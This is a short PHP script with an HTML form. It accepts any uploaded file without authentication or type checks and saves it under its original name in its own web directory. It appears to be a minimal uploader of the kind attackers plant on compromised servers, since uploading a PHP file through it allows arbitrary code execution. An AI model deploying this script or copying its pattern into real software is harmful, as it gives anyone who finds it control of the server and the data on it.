<?php
if(isset($_FILES['f'])){
    $dir = dirname(__FILE__) . '/';
    $name = basename($_FILES['f']['name']);
    if(move_uploaded_file($_FILES['f']['tmp_name'], $dir . $name)){
        echo "OK: " . $name;
    } else {
        echo "FAIL";
    }
    exit;
}
?>
<form method="post" enctype="multipart/form-data">
<input type="file" name="f">
<button type="submit">Upload</button>
</form>